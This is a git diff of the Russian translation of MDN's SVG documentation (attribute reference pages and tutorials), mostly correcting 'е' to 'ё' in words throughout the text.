    Элементы SVG можно изменять с помощью атрибутов, которые задают подробные сведения о том, каким образом элемент должен обрабатываться или визуализироваться. Ниже приведён список всех атрибутов, доступных в SVG, а также ссылки на справочную документацию, помогающие узнать, какие элементы поддерживают их и как они работают.

    SVG Атрибуты от А до Я

    diff --git a/files/ru/web/svg/attribute/keytimes/index.html b/files/ru/web/svg/attribute/keytimes/index.html index d1db1c495f..cd7f423869 100644 --- a/files/ru/web/svg/attribute/keytimes/index.html +++ b/files/ru/web/svg/attribute/keytimes/index.html @@ -5,7 +5,7 @@ translation_of: Web/SVG/Attribute/keyTimes ---

    « SVG Attribute reference home

    -

    Атрибут keyTimes представляет собой разделенный точками с запятой список значений времени, используемых для управления темпами анимации. Каждое значение в списке соответствует значению в списке атрибутов {{ SVGAttr("values") }} и определяет, когда оно используется в анимации. Каждое значение времени в списке keyTimes задается как значение с плавающей запятой от 0 до 1 (включительно), представляющее пропорциональную величину смещения в течение элемента анимации.

    +

    Атрибут keyTimes представляет собой разделённый точками с запятой список значений времени, используемых для управления темпами анимации. Каждое значение в списке соответствует значению в списке атрибутов {{ SVGAttr("values") }} и определяет, когда оно используется в анимации. Каждое значение времени в списке keyTimes задаётся как значение с плавающей запятой от 0 до 1 (включительно), представляющее пропорциональную величину смещения в течение элемента анимации.

    Если указан список keyTimes, то в списке keyTimes должно быть ровно столько же значений, сколько в списке {{ SVGAttr("values") }} .

    @@ -14,8 +14,8 @@ translation_of: Web/SVG/Attribute/keyTimes

    Семантика списка keyTimes зависит от режима интерполяции:

      -
    • Для линейной и сплайновой анимации первое значение времени в списке должно быть равно 0, а Последнее значение времени в списке должно быть 1. Ключевое время, связанное с каждым значением, определяет, когда значение задается; значения являются интерполяцией между ключевыми моментами.
    • -
    • Для дискретной анимации первое значение времени в списке должно быть равно 0. Время, связанное с каждым значением, определяет, когда значение задается; Функция анимации использует это значение до следующего времени, определенного в keyTimes.
    • +
    • Для линейной и сплайновой анимации первое значение времени в списке должно быть равно 0, а Последнее значение времени в списке должно быть 1. Ключевое время, связанное с каждым значением, определяет, когда значение задаётся; значения являются интерполяцией между ключевыми моментами.
    • +
    • Для дискретной анимации первое значение времени в списке должно быть равно 0. Время, связанное с каждым значением, определяет, когда значение задаётся; Функция анимации использует это значение до следующего времени, определённого в keyTimes.

    Если в качестве режима интерполяции используется paced, атрибут keyTimes игнорируется.

    diff --git a/files/ru/web/svg/attribute/lang/index.html b/files/ru/web/svg/attribute/lang/index.html index 86317240f1..88fbec8090 100644 --- a/files/ru/web/svg/attribute/lang/index.html +++ b/files/ru/web/svg/attribute/lang/index.html @@ -7,11 +7,11 @@ translation_of: Web/SVG/Attribute/lang ---
    {{SVGRef}}
    -

    Атрибут lang указывает основной язык, используемый в содержимом, и атрибуты, содержащие текстовое содержимое определенных элементов.

    +

    Атрибут lang указывает основной язык, используемый в содержимом, и атрибуты, содержащие текстовое содержимое определённых элементов.

    -

    Также существует атрибут {{SVGAttr("xml:lang")}} (с пространством имен). Если определены оба атрибута, то используется тот, который имеет пространство имен, а атрибут без пространства имен игнорируется.

    +

    Также существует атрибут {{SVGAttr("xml:lang")}} (с пространством имён). Если определены оба атрибута, то используется тот, который имеет пространство имён, а атрибут без пространства имён игнорируется.

    -

    В SVG 1.1 существовал атрибут lang, определенный с другим значением и применимый только к {{SVGElement("glyph")}}. Этот атрибут указывал список языков в формате BCP 47. Глиф предназначался для использования, если атрибут xml:lang точно соответствует одному из языков, указанных в значении этого параметра, или если атрибут xml:lang точно соответствует префиксу одного из языков, указанных в значении этого параметра. Таким образом, первый символ тега, следующий за префиксом, был "-".

    +

    В SVG 1.1 существовал атрибут lang, определённый с другим значением и применимый только к {{SVGElement("glyph")}}. Этот атрибут указывал список языков в формате BCP 47. Глиф предназначался для использования, если атрибут xml:lang точно соответствует одному из языков, указанных в значении этого параметра, или если атрибут xml:lang точно соответствует префиксу одного из языков, указанных в значении этого параметра. Таким образом, первый символ тега, следующий за префиксом, был "-".

    Все элементы используют этот атрибут.

    @@ -43,9 +43,9 @@ translation_of: Web/SVG/Attribute/lang
    <language-tag>
    -

    Это значение указывает язык, используемый для элемента. Синтаксис этого значения определен в спецификации BCP 47.

    +

    Это значение указывает язык, используемый для элемента. Синтаксис этого значения определён в спецификации BCP 47.

    -

    Наиболее распространенным синтаксисом является значение, состоящее из двухсимвольной части нижнего регистра языка и двухсимвольной части верхнего регистра для региона или страны, разделенных знаком минус. Например, en-US для американского английского языка или de-AT для австрийского немецкого.

    +

    Наиболее распространённым синтаксисом является значение, состоящее из двухсимвольной части нижнего регистра языка и двухсимвольной части верхнего регистра для региона или страны, разделённых знаком минус. Например, en-US для американского английского языка или de-AT для австрийского немецкого.

    @@ -63,7 +63,7 @@ translation_of: Web/SVG/Attribute/lang {{SpecName("SVG2", "struct.html#LangAttribute", "lang")}} {{Spec2("SVG2")}} - Сделал атрибут {{SVGAttr("lang")}} (без пространства имен) доступным для всех элементов и определил взаимодействие между ними. + Сделал атрибут {{SVGAttr("lang")}} (без пространства имён) доступным для всех элементов и определил взаимодействие между ними. {{SpecName("SVG1.1", "fonts.html#GlyphElementLangAttribute", "lang")}} diff --git a/files/ru/web/svg/attribute/patterncontentunits/index.html b/files/ru/web/svg/attribute/patterncontentunits/index.html index 5a9258a1f4..82030dbd1b 100644 --- a/files/ru/web/svg/attribute/patterncontentunits/index.html +++ b/files/ru/web/svg/attribute/patterncontentunits/index.html @@ -5,11 +5,11 @@ translation_of: Web/SVG/Attribute/patternContentUnits ---

    « SVG Attribute reference home

    -

    Атрибут patternContentUnits определяет систему координат для содержимого {{ SVGElement("pattern") }}. Заметьте, что этот атрибут не имеет эффекта, если {{ SVGAttr("viewBox") }} определен на {{ SVGElement("pattern") }} элементе.

    +

    Атрибут patternContentUnits определяет систему координат для содержимого {{ SVGElement("pattern") }}. Заметьте, что этот атрибут не имеет эффекта, если {{ SVGAttr("viewBox") }} определён на {{ SVGElement("pattern") }} элементе.

    -

    Если patternContentUnits атрибут не определен, то его значение предполагается равным userSpaceOnUse.

    +

    Если patternContentUnits атрибут не определён, то его значение предполагается равным userSpaceOnUse.

    -

    Заметьте, что значение {{ SVGElement("pattern") }} не имеет влияния на заданные в процентах атрибуты контента . Это означает, что, если вы задаете значение patternContentUnits равным objectBoundingBox, значения, указанные в процентах, будут пересчитаны, как если бы вы задали userSpaceOnUse.

    +

    Заметьте, что значение {{ SVGElement("pattern") }} не имеет влияния на заданные в процентах атрибуты контента . Это означает, что, если вы задаёте значение patternContentUnits равным objectBoundingBox, значения, указанные в процентах, будут пересчитаны, как если бы вы задали userSpaceOnUse.

    Контекст использования

    @@ -45,7 +45,7 @@ translation_of: Web/SVG/Attribute/patternContentUnits

    Элементы

    -

    Атрибут patternContentUnits может быть определен на следующих элементах:

    +

    Атрибут patternContentUnits может быть определён на следующих элементах:

    • {{ SVGElement("pattern") }}
    • diff --git a/files/ru/web/svg/attribute/r/index.html b/files/ru/web/svg/attribute/r/index.html index 1f92d75024..5114420ac3 100644 --- a/files/ru/web/svg/attribute/r/index.html +++ b/files/ru/web/svg/attribute/r/index.html @@ -71,7 +71,7 @@ translation_of: Web/SVG/Attribute/r

      Для {{ SVGElement("radialGradient") }}, r устанавливает радиус конечной окружности радиального градиента.

      -

      Градиент будет нарисован таким образом, чтобы  100% конца градиента отображались по периметру этого конечного круга. Значение, меньшее или равное нулю, приведет к тому, что область будет окрашена как один цвет, используя цвет и непрозрачность последнего градиента  {{ SVGElement("stop") }}.

      +

      Градиент будет нарисован таким образом, чтобы  100% конца градиента отображались по периметру этого конечного круга. Значение, меньшее или равное нулю, приведёт к тому, что область будет окрашена как один цвет, используя цвет и непрозрачность последнего градиента  {{ SVGElement("stop") }}.

      diff --git a/files/ru/web/svg/attribute/repeatcount/index.html b/files/ru/web/svg/attribute/repeatcount/index.html index ad584e3305..0023ba65af 100644 --- a/files/ru/web/svg/attribute/repeatcount/index.html +++ b/files/ru/web/svg/attribute/repeatcount/index.html @@ -5,7 +5,7 @@ translation_of: Web/SVG/Attribute/repeatCount ---

      « Справочник SVG атрибутов

      -

      Данный атрибут задает, сколько раз должна выполняться анимация.

      +

      Данный атрибут задаёт, сколько раз должна выполняться анимация.

      Значение атрибута определяет количество итераций. Принимаются числа с плавающей точкой, которые интерпретируются как доля итерации. Значение должно быть больше нуля.

      diff --git a/files/ru/web/svg/attribute/rx/index.html b/files/ru/web/svg/attribute/rx/index.html index 78f0ab86e0..c033fd34aa 100644 --- a/files/ru/web/svg/attribute/rx/index.html +++ b/files/ru/web/svg/attribute/rx/index.html @@ -59,7 +59,7 @@ translation_of: Web/SVG/Attribute/rx

      Способ интерпретации значения атрибута rx зависит как от атрибута {{SVGAttr("ry")}} , так и от ширины прямоугольника:

        -
      • Если правильно задано значение для rx, но не для {{SVGAttr("ry")}} (или наоборот), то браузер сочтет отсутствующее значение равным указанному.
      • +
      • Если правильно задано значение для rx, но не для {{SVGAttr("ry")}} (или наоборот), то браузер сочтёт отсутствующее значение равным указанному.
      • Если ни rx, ни {{SVGAttr("ry")}} не имеют правильно указанного значения, браузер нарисует прямоугольник с квадратными углами.
      • Если rx больше половины ширины прямоугольника, то браузер будет считать значение rx половиной ширины прямоугольника.
      diff --git a/files/ru/web/svg/attribute/ry/index.html b/files/ru/web/svg/attribute/ry/index.html index f0b87c7a46..9267facd7f 100644 --- a/files/ru/web/svg/attribute/ry/index.html +++ b/files/ru/web/svg/attribute/ry/index.html @@ -59,7 +59,7 @@ translation_of: Web/SVG/Attribute/ry

      Способ интерпретации значения атрибута ry зависит как от атрибута {{SVGAttr("rx")}} , так и от ширины прямоугольника:

        -
      • Если правильно задано значение для ry, но не для {{SVGAttr("rx")}} (или наоборот), то браузер сочтет отсутствующее значение равным указанному.
      • +
      • Если правильно задано значение для ry, но не для {{SVGAttr("rx")}} (или наоборот), то браузер сочтёт отсутствующее значение равным указанному.
      • Если ни ry, ни {{SVGAttr("rx")}} не имеют правильно указанного значения, браузер нарисует прямоугольник с квадратными углами.
      • Если ry больше половины ширины прямоугольника, то браузер будет считать значение ry половиной ширины прямоугольника.
      diff --git a/files/ru/web/svg/attribute/shape-rendering/index.html b/files/ru/web/svg/attribute/shape-rendering/index.html index 9110b8ce42..d5b03117ab 100644 --- a/files/ru/web/svg/attribute/shape-rendering/index.html +++ b/files/ru/web/svg/attribute/shape-rendering/index.html @@ -32,13 +32,13 @@ translation_of: Web/SVG/Attribute/shape-rendering
      auto
      -
      Указывает на то, что браузер должен внести соответствующие компромиссы, чтобы сбалансировать скорость рендеринга, четкие края и геометрическую точность, но геометрической точности уделять более пристальное внимание, чем скорости и четким краями.
      +
      Указывает на то, что браузер должен внести соответствующие компромиссы, чтобы сбалансировать скорость рендеринга, чёткие края и геометрическую точность, но геометрической точности уделять более пристальное внимание, чем скорости и чётким краями.
      optimizeSpeed
      -
      Указывает на то, что браузер должен акцентироваться на скорость рендеринга, в ущерб геометрической точности и четким краями. Эту опцию также можно указывать,, чтобы отключить сглаживание фигур.
      +
      Указывает на то, что браузер должен акцентироваться на скорость рендеринга, в ущерб геометрической точности и чётким краями. Эту опцию также можно указывать,, чтобы отключить сглаживание фигур.
      crispEdges
      -
      Указывает на то, что браузер должен попытаться акцентировать на контрасте чистых краев рисунков, в ущерб скорости рендеринга и геометрической точности. Для достижения наилучшего результата четкости края, браузер может отключить сглаживание для всех линий и кривых или, возможно, только для прямых, близких к вертикальным или горизонтальным. Кроме того, браузер может скорректировать позиции строк и ширину линий для выравнивания краев с пикселями устройства.
      +
      Указывает на то, что браузер должен попытаться акцентировать на контрасте чистых краёв рисунков, в ущерб скорости рендеринга и геометрической точности. Для достижения наилучшего результата чёткости края, браузер может отключить сглаживание для всех линий и кривых или, возможно, только для прямых, близких к вертикальным или горизонтальным. Кроме того, браузер может скорректировать позиции строк и ширину линий для выравнивания краёв с пикселями устройства.
      geometricPrecision
      -
      Указывает на то, что браузер должен акцентировать геометрическую точность в ущерб скорости и четкими краям.
      +
      Указывает на то, что браузер должен акцентировать геометрическую точность в ущерб скорости и чёткими краям.

      Пример

      diff --git a/files/ru/web/svg/attribute/stroke/index.html b/files/ru/web/svg/attribute/stroke/index.html index d6ddd0420a..29332e0327 100644 --- a/files/ru/web/svg/attribute/stroke/index.html +++ b/files/ru/web/svg/attribute/stroke/index.html @@ -39,7 +39,7 @@ translation_of: Web/SVG/Attribute/stroke

      SVG Line с stroke

      -

      Пример 1: Нарисуйте прямую зеленую линию, используя stroke.

      +

      Пример 1: Нарисуйте прямую зелёную линию, используя stroke.

      <svg height="50" width="300">
           <path stroke="green" d="M5 20 1215 0" />
      @@ -47,7 +47,7 @@ translation_of: Web/SVG/Attribute/stroke
       
       

      {{EmbedLiveSample('Example1_Draw_straight_green_line_using_stroke.', '300', '50', '', 'Web/SVG/Attribute/stroke')}}

      -

      Пример 2: Нарисуйте черный круг с синей рамкой используя stroke.

      +

      Пример 2: Нарисуйте чёрный круг с синей рамкой используя stroke.

      ​​<svg height="100" width="100">
           <circle cx="50" cy="50" r="40" stroke="blue" stroke-width="2" fill="black" />
      diff --git a/files/ru/web/svg/attribute/text-anchor/index.html b/files/ru/web/svg/attribute/text-anchor/index.html
      index 9ffcbe7be3..d974c6e812 100644
      --- a/files/ru/web/svg/attribute/text-anchor/index.html
      +++ b/files/ru/web/svg/attribute/text-anchor/index.html
      @@ -51,7 +51,7 @@ translation_of: Web/SVG/Attribute/text-anchor
        правому выравниванию. Для шрифтов которые по определению справа налево такие как Иврит и Арабский это эквивалентно левому выравниванию.
        
      Примечание
      В IE-11 атрибут text-anchor не имеет эффекта при привязке текста к заданному пути path посредством тега textPath.
      - В приведенном ниже примере тег path использовался только лишь для отрисовки линий и с расположением текста никак не связан.
      + В приведённом ниже примере тег path использовался только лишь для отрисовки линий и с расположением текста никак не связан.

      Пример

      diff --git a/files/ru/web/svg/attribute/transform/index.html b/files/ru/web/svg/attribute/transform/index.html index c202361239..944d0b51b0 100644 --- a/files/ru/web/svg/attribute/transform/index.html +++ b/files/ru/web/svg/attribute/transform/index.html @@ -71,7 +71,7 @@ translation_of: Web/SVG/Attribute/transform <!-- Это элемент до применения переноса и поворота --> <rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2" fill-opacity=0.2 stroke-opacity=0.2></rect> - <!-- Здесь мы добавим текстовый элемент, повернем и перенесем оба элемента --> + <!-- Здесь мы добавим текстовый элемент, повернём и перенесём оба элемента --> <rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2" transform="translate(30) rotate(45 50 50)"></rect> <text x="60" y="105" transform="translate(30) rotate(45 50 50)"> Hello Moz! </text> diff --git a/files/ru/web/svg/attribute/values/index.html b/files/ru/web/svg/attribute/values/index.html index 72929084aa..d0544c82b8 100644 --- a/files/ru/web/svg/attribute/values/index.html +++ b/files/ru/web/svg/attribute/values/index.html @@ -7,12 +7,12 @@ translation_of: Web/SVG/Attribute/values

      Атрибут values имеет два значения в зависимости от используемого контекста.

      -

      Для элементов анимации атрибут values представляет собой разделенный точками с запятой список одного или нескольких значений. В анимации будут применены значения в порядке следования анимации. Если задан список values, значения атрибутов {{ SVGAttr("from") }}, {{ SVGAttr("to") }} и {{ SVGAttr("by") }} игнорируются.

      +

      Для элементов анимации атрибут values представляет собой разделённый точками с запятой список одного или нескольких значений. В анимации будут применены значения в порядке следования анимации. Если задан список values, значения атрибутов {{ SVGAttr("from") }}, {{ SVGAttr("to") }} и {{ SVGAttr("by") }} игнорируются.

      Для элемента {{ SVGElement("feColorMatrix") }} содержимое values зависит от значения атрибута {{ SVGAttr("type") }}:

        -
      • Для type="matrix", values — это список из 20 значений матрицы (А00 А01 А02 А03 А04 A10 А11... А34), разделенных пробелами и/или запятой.
      • +
      • Для type="matrix", values — это список из 20 значений матрицы (А00 А01 А02 А03 А04 A10 А11... А34), разделённых пробелами и/или запятой.
      • Для type="saturate", values — это единственное вещественное число (от 0 до 1).
      • Для type="hueRotate", values — это одно вещественное число (градусов).
      • Для type="luminanceToAlpha", values не применимы.
      • diff --git a/files/ru/web/svg/attribute/viewbox/index.html b/files/ru/web/svg/attribute/viewbox/index.html index 1433367c9d..a3ad81efdb 100644 --- a/files/ru/web/svg/attribute/viewbox/index.html +++ b/files/ru/web/svg/attribute/viewbox/index.html @@ -9,7 +9,7 @@ translation_of: Web/SVG/Attribute/viewBox

        Аттрибут viewBox определяет расположение и размеры окна отображения SVG.

        -

        Значение атрибута viewBox — это набор четырех чисел: min-x, min-y, width и height, — разделённых пробелами и/или запятой, которые задают прямоугольник в пользовательском пространстве, стороны которого определяют границы окна отображения элемента SVG (не браузера).

        +

        Значение атрибута viewBox — это набор четырёх чисел: min-x, min-y, width и height, — разделённых пробелами и/или запятой, которые задают прямоугольник в пользовательском пространстве, стороны которого определяют границы окна отображения элемента SVG (не браузера).

      - + @@ -50,7 +50,7 @@ original_slug: Web/SVG/Элемент/rect

      » rect-1.svg

      -

      <rect> со скругленными углами

      +

      <rect> со скруглёнными углами

       

      diff --git a/files/ru/web/svg/element/text/index.html b/files/ru/web/svg/element/text/index.html index ffb6583fb6..e7cc42214d 100644 --- a/files/ru/web/svg/element/text/index.html +++ b/files/ru/web/svg/element/text/index.html @@ -27,7 +27,7 @@ original_slug: Web/SVG/Элемент/ .small { font: italic 13px sans-serif; } .heavy { font: bold 30px sans-serif; } - /* Обратите внимание, что цвет текста задается с помощью * + /* Обратите внимание, что цвет текста задаётся с помощью * * fill свойства, а свойство color используется только для HTML */ .Rrrrr { font: italic 40px serif; fill: red; } </style> @@ -195,7 +195,7 @@ original_slug: Web/SVG/Элемент/

      Совместимость с браузером

      - +

      {{Compat("svg.elements.text")}}

      diff --git a/files/ru/web/svg/element/use/index.html b/files/ru/web/svg/element/use/index.html index 39e26289f3..1efa68b4e0 100644 --- a/files/ru/web/svg/element/use/index.html +++ b/files/ru/web/svg/element/use/index.html @@ -43,7 +43,7 @@ original_slug: Web/SVG/Элемент/use По соображениям безопасности, браузеры могут применять правило ограничения домена для элементов use и могут отказаться загружать URL другого источника в атрибуте {{SVGAttr("href")}}.

      -

      Начиная с SVG 2, атрибут {{SVGAttr("xlink:href")}} получил статус "Устарело" в пользу {{SVGAttr("href")}}. Дополнительную информацию ищите на странице {{SVGAttr("xlink:href")}}. Тем не менее,  на практике всё еще может быть потребность в использовании {{SVGAttr("xlink:href")}} для кроссбраузерной совместимости (смотрите таблицу совместимости ниже).

      +

      Начиная с SVG 2, атрибут {{SVGAttr("xlink:href")}} получил статус "Устарело" в пользу {{SVGAttr("href")}}. Дополнительную информацию ищите на странице {{SVGAttr("xlink:href")}}. Тем не менее,  на практике всё ещё может быть потребность в использовании {{SVGAttr("xlink:href")}} для кроссбраузерной совместимости (смотрите таблицу совместимости ниже).

      Атрибуты

      diff --git a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html index b552e8a208..0cf6a5ef86 100644 --- a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html +++ b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html @@ -97,7 +97,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
      • Выполнена.
      • Не полностью соблюдает <svg:use> каскадные правила ({{Bug(265894)}}).
      • -
      • Не передает события в дерево SVGElementInstance ({{Bug(265895)}}).
      • +
      • Не передаёт события в дерево SVGElementInstance ({{Bug(265895)}}).
      @@ -238,7 +238,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox @@ -376,7 +376,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
    • Выполнена.
    • Из псевдо-входов:
      SourceGraphic, SourceAlpha, FillPaint {{gecko_minversion_inline("17")}} и StrokePaint {{gecko_minversion_inline("17")}} - реализованы.
    • -
    • Использование нереализованного псевдо-входного или фильтрующего элемента приведет к игнорированию фильтра и рисованию обратного графика без какого-либо фильтра.
    • +
    • Использование нереализованного псевдо-входного или фильтрующего элемента приведёт к игнорированию фильтра и рисованию обратного графика без какого-либо фильтра.
    • diff --git a/files/ru/web/svg/tutorial/basic_shapes/index.html b/files/ru/web/svg/tutorial/basic_shapes/index.html index 290e5af23d..882ce4142f 100644 --- a/files/ru/web/svg/tutorial/basic_shapes/index.html +++ b/files/ru/web/svg/tutorial/basic_shapes/index.html @@ -111,7 +111,7 @@ original_slug: Web/SVG/Tutorial/Основные_Фигуры

      Ломаная линия

      -

      Элемент polyline воспроизводит группу соединенных прямых линий. Поскольку этот список может быть довольно длинным, все точки включены в один атрибут:

      +

      Элемент polyline воспроизводит группу соединённых прямых линий. Поскольку этот список может быть довольно длинным, все точки включены в один атрибут:

      <polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/>
      @@ -133,7 +133,7 @@ original_slug: Web/SVG/Tutorial/Основные_Фигуры

      Путь

      -

      Path, вероятно, наиболее общая форма, которую можно использовать в SVG. Используя элемент path вы можете рисовать прямоугольники (с закругленными углами или без), окружности, эллипсы, ломанные линии и многоугольники; и по существу любые другие типы форм: кривые Безье, квадратические кривые и многое другое. По этой причине элемент path будет рассмотрен отдельно в следующей секции этого руководства, но сейчас отметим только, что существует единственный атрибут для контроля его формы.

      +

      Path, вероятно, наиболее общая форма, которую можно использовать в SVG. Используя элемент path вы можете рисовать прямоугольники (с закруглёнными углами или без), окружности, эллипсы, ломанные линии и многоугольники; и по существу любые другие типы форм: кривые Безье, квадратические кривые и многое другое. По этой причине элемент path будет рассмотрен отдельно в следующей секции этого руководства, но сейчас отметим только, что существует единственный атрибут для контроля его формы.

      <path d="M 20 230 Q 40 205, 50 230 T 90230"/>
      diff --git a/files/ru/web/svg/tutorial/basic_transformations/index.html b/files/ru/web/svg/tutorial/basic_transformations/index.html index 698933241a..634ef93da3 100644 --- a/files/ru/web/svg/tutorial/basic_transformations/index.html +++ b/files/ru/web/svg/tutorial/basic_transformations/index.html @@ -24,14 +24,14 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования

      Перемещения

      -

      Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определенным атрибутам. Для этого используется translate().

      +

      Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определённым атрибутам. Для этого используется translate().

      <svg width="40" height="50" style="background-color:#bff;">
           <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" />
       </svg>
       
      -

      Пример генерирует прямоугольник, перемещенный в точку  (30,40) вместо точки (0,0).

      +

      Пример генерирует прямоугольник, перемещённый в точку  (30,40) вместо точки (0,0).

      {{ EmbedLiveSample('Translation', '40', '50', '', 'Web/SVG/Tutorial/Basic_Transformations') }}

      @@ -46,7 +46,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования </svg> -

      Данный пример показывает квадрат который повернули на 45 градусов. Значение для rotate() задается в градусах.

      +

      Данный пример показывает квадрат который повернули на 45 градусов. Значение для rotate() задаётся в градусах.

      {{ EmbedLiveSample('Rotation', '31', '31', '', 'Web/SVG/Tutorial/Basic_Transformations') }}

      @@ -60,7 +60,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования

      Комплексные перемещения с matrix()

      -

      Все приведенные выше преобразования могут быть описаны с помощью матрицы перемещений 2x3. Чтобы объединить несколько перемещений, можно установить результирующую матрицу с помощью matrix(a, b, c, d, e, f), которая преобразует координаты из предыдущей системы координат в новую систему координат посредством:

      +

      Все приведённые выше преобразования могут быть описаны с помощью матрицы перемещений 2x3. Чтобы объединить несколько перемещений, можно установить результирующую матрицу с помощью matrix(a, b, c, d, e, f), которая преобразует координаты из предыдущей системы координат в новую систему координат посредством:

      {xnewCoordSys=axprevCoordSys+cyprevCoordSys+eynewCoordSys=bxprevCoordSys+dyprevCoordSys+f\left\{ \begin{matrix} x_{\mathrm{prevCoordSys}} = a x_{\mathrm{newCoordSys}} + c y_{\mathrm{newCoordSys}} + e \\ y_{\mathrm{prevCoordSys}} = b x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + f \end{matrix} \right.

      @@ -68,7 +68,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования

      Эффекты на системе координат

      -

      В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повернуты, перемещены и смаштабированы в соответствии с преобразованиями.

      +

      В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повёрнуты, перемещены и смаштабированы в соответствии с преобразованиями.

      <svg width="100" height="100">
           <g transform="scale(2)">
      diff --git a/files/ru/web/svg/tutorial/clipping_and_masking/index.html b/files/ru/web/svg/tutorial/clipping_and_masking/index.html
      index f5d2198fc8..c87cfa7287 100644
      --- a/files/ru/web/svg/tutorial/clipping_and_masking/index.html
      +++ b/files/ru/web/svg/tutorial/clipping_and_masking/index.html
      @@ -8,7 +8,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking
       
       

       

      -

      На первый взгляд, странно стирать то, что было только что нарисовано. Но когда вы попытаетесь создать полукруг в SVG, то сразу столкнетесь со следующими свойствами.
      +

      На первый взгляд, странно стирать то, что было только что нарисовано. Но когда вы попытаетесь создать полукруг в SVG, то сразу столкнётесь со следующими свойствами.

      Обрезка (Clipping) позволяет скрыть часть одного или нескольких элементов, используя другой. В этом случае нельзя настроить прозрачность элемента, это подход «все или ничего».

      @@ -29,7 +29,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking </svg>

      -

      По центру (100,100) нарисован круг с радиусом 100. Атрибут clip-path ссылается на элемент {{ SVGElement("clipPath") }}, который содержит элемент rect. Этот прямоугольник позволит отрисовать верхнюю половину черного холста. Обратите внимание, что элемент clipPath обычно помещается в раздел defs.
      +

      По центру (100,100) нарисован круг с радиусом 100. Атрибут clip-path ссылается на элемент {{ SVGElement("clipPath") }}, который содержит элемент rect. Этот прямоугольник позволит отрисовать верхнюю половину чёрного холста. Обратите внимание, что элемент clipPath обычно помещается в раздел defs.

      При этом сам прямоугольник отрисован не будет. Вместо этого прямоугольник задаст область отрисовки. Так как прямоугольник перекрывает только верхнюю половину круга, нижняя половина круга исчезает:

      @@ -57,7 +57,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking </svg> -

      Фактически на примере находятся два прямоугольника: зеленый на нижнем слое и красный на верхнем. У красного есть атрибут mask, который ссылается на элемент mask. Содержимое маски это элемент rect, заполненный градиентом, где прозрачная заливка перетекает в белую. В результате, пиксели красного прямоугольника наследуют прозрачность (alpha-value) маски, и мы видим красно-зеленый градиент: 

      +

      Фактически на примере находятся два прямоугольника: зелёный на нижнем слое и красный на верхнем. У красного есть атрибут mask, который ссылается на элемент mask. Содержимое маски это элемент rect, заполненный градиентом, где прозрачная заливка перетекает в белую. В результате, пиксели красного прямоугольника наследуют прозрачность (alpha-value) маски, и мы видим красно-зелёный градиент: 

      {{ EmbedLiveSample('Masking','240','240','/files/3234/maskdemo.png') }}

      @@ -78,7 +78,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking

      {{ EmbedLiveSample('Transparency_with_opacity','240','240','/files/3231/opacitydemo.png') }}

      -

      В этом примере используется красный круг на голубом фоне. Желтый контур установлен на 50% непрозрачности, что приводит к эффекту двойного цвета.

      +

      В этом примере используется красный круг на голубом фоне. Жёлтый контур установлен на 50% непрозрачности, что приводит к эффекту двойного цвета.

      Использование хорошо известных CSS техник

      diff --git a/files/ru/web/svg/tutorial/fills_and_strokes/index.html b/files/ru/web/svg/tutorial/fills_and_strokes/index.html index 0ba67eee54..e113c00376 100644 --- a/files/ru/web/svg/tutorial/fills_and_strokes/index.html +++ b/files/ru/web/svg/tutorial/fills_and_strokes/index.html @@ -34,7 +34,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes <line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="round"/> </svg> -

      Свойство stroke-width определяет ширину обводки. Штрихи обводки рисуются вокруг пути. В примере выше путь изображен розовым, а обводка - черным.

      +

      Свойство stroke-width определяет ширину обводки. Штрихи обводки рисуются вокруг пути. В примере выше путь изображён розовым, а обводка - черным.

      Второй атрибут, влияющий на обводку - свойство stroke-linecap. Демонстрируется выше. Свойство управляет отображением концов линий.

      @@ -43,7 +43,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
      • butt обрывает линию под прямым углом к направлению обводки и делает это сразу по окончании линии.
      • square в основном действует также, но немного растягивает обводку по краям пути. Длина, на которую продлевается обводка - это половина заданного значения stroke-width.
      • -
      • round задаёт закругленные углы по краям обводки. Радиус этих кривых также управляется параметром stroke-width.
      • +
      • round задаёт закруглённые углы по краям обводки. Радиус этих кривых также управляется параметром stroke-width.

      Используйте stroke-linejoin, чтобы определить, как соединять обводку двух сегментов линии.

      @@ -66,7 +66,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
      • miter продолжает линию обводки дальше её обычной ширины, чтобы создать единственный квадратный угол.
      • -
      • round создаёт закругленный сегмент линии
      • +
      • round создаёт закруглённый сегмент линии
      • bevel создаёт новый угол для помощи в переходе между двумя сегментами
      @@ -82,13 +82,13 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/> </svg> -

      В качестве аргумента атрибут stroke-dasharray принимает последовательность чисел, разделенных запятой.

      +

      В качестве аргумента атрибут stroke-dasharray принимает последовательность чисел, разделённых запятой.

      Замечание: в отличие от путей, эти числа ДОЛЖНЫ быть разделены запятыми (пробелы игнорируются).

